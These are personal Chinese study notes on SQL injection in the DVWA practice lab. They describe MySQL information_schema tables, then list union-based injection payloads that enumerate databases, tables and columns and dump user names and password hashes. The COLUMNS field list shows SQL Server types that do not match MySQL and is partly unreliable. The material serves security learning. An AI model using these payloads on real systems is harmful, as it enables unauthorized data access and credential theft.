DVWA SQL Injection

记录SQL注入相关，供自己查看，MySQL5.0及以上版本提供了information_schema信息数据库，提供了访问数据库元数据的方式。

information_schema数据库表说明:

SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。

TABLES表字段：

Table_catalog	数据表登记目录
Table_schema	数据表所属的数据库名
Table_name	表名称
Table_type	表类型[system view|base table]
Engine	使用的数据库引擎[MyISAM|CSV|InnoDB]
Version	版本，默认值10
Row_format	行格式[Compact|Dynamic|Fixed]
Table_rows	表里所存多少行数据
Avg_row_length	平均行长度
Data_length	数据长度
Max_data_length	最大数据长度
Index_length	索引长度
Data_free	空间碎片
Auto_increment	做自增主键的自动增量当前值
Create_time	表的创建时间
Update_time	表的更新时间
Check_time	表的检查时间
Table_collation	表的字符校验编码集
Checksum	校验和
Create_options	创建选项
Table_comment	表的注释、备注

COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

COLUMNS表字段：

TABLE_CATALOG	nvarchar(128)	表限定符
TABLE_SCHEMA	nvarchar(128)	数据库名
TABLE_NAME	nvarchar(128)	表名
COLUMN_NAME	nvarchar(128)	列名
ORDINAL_POSITION	smallint	列标识号
COLUMN_DEFAULT	nvarchar(4000)	列的默认值
IS_NULLABLE	varchar(3)	列的为空性。如果列允许 NULL，那么该列返回 YES。否则，返回 NO
DATA_TYPE	nvarchar(128)	系统提供的数据类型
CHARACTER_MAXIMUM_LENGTH	smallint	以字符为单位的最大长度，适于二进制数据、字符数据，或者文本和图像数据。否则，返回 NULL。有关更多信息，请参见数据类型
CHARACTER_OCTET_LENGTH	smallint	以字节为单位的最大长度，适于二进制数据、字符数据，或者文本和图像数据。否则，返回 NULL
NUMERIC_PRECISION	tinyint	近似数字数据、精确数字数据、整型数据或货币数据的精度。否则，返回 NULL
NUMERIC_PRECISION_RADIX	smallint	近似数字数据、精确数字数据、整型数据或货币数据的精度基数。否则，返回 NULL
NUMERIC_SCALE	tinyint	近似数字数据、精确数字数据、整数数据或货币数据的小数位数。否则，返回 NULL
DATETIME_PRECISION	smallint	datetime 及 SQL-92 interval 数据类型的子类型代码。对于其它数据类型，返回 NULL
CHARACTER_SET_CATALOG	varchar(6)	如果列是字符数据或 text 数据类型，那么返回 master，指明字符集所在的数据库。否则，返回 NULL
CHARACTER_SET_SCHEMA	varchar(3)	如果列是字符数据或 text 数据类型，那么返回 DBO，指明字符集的所有者名称。否则，返回 NULL
CHARACTER_SET_NAME	nvarchar(128)	如果该列是字符数据或 text 数据类型，那么为字符集返回唯一的名称。否则，返回 NULL
COLLATION_CATALOG	varchar(6)	如果列是字符数据或 text 数据类型，那么返回 master，指明在其中定义排序次序的数据库。否则此列为 NULL
COLLATION_SCHEMA	varchar(3)	返回 DBO，为字符数据或 text 数据类型指明排序次序的所有者。否则，返回 NULL
COLLATION_NAME	nvarchar(128)	如果列是字符数据或 text 数据类型，那么为排序次序返回唯一的名称。否则，返回 NULL
DOMAIN_CATALOG	nvarchar(128)	如果列是一种用户定义数据类型，那么该列是某个数据库名称，在该数据库名中创建了这种用户定义数据类型。否则，返回 NULL
DOMAIN_SCHEMA	nvarchar(128)	如果列是一种用户定义数据类型，那么该列是这种用户定义数据类型的创建者。否则，返回 NULL
DOMAIN_NAME	nvarchar(128)	如果列是一种用户定义数据类型，那么该列是这种用户定义数据类型的名称。否则，返回 NULL

STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表：提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表：描述了具有约束的键列。

ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。

TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表

若拥有数据库所有权限，通过以上两个表可以查询到数据库的所有数据库、数据表以及数据表字段信息。

检查是否存在SQL注入:

' or 1=1#

 单引号闭合的情况，或者换成双引号尝试

 尝试使用union查询，首先测试查询的字段数

' union select 1#

' union select 1,2#

得知查询字段为两个

获取数据库版本信息，用户，数据库

' union select version(),concat(user(),' ',database())#

已获取当前数据库，获取数据库中所有的数据表：

' union select table_name,NULL from information_schema.tables where table_schema = 'dvwa'#

已获得数据表，获取某个数据表中所有字段：

' union select column_name,1 from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

 根据数据表的字段查询数据库内容：

' union select user,concat(password,'|',last_login) from users#

 获取其它的信息：

查询所有数据库以及对应的数据表：

' union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema#

 查询所有数据表以及对应的字段：

' union select table_name,group_concat(column_name) from information_schema.columns group by table_name#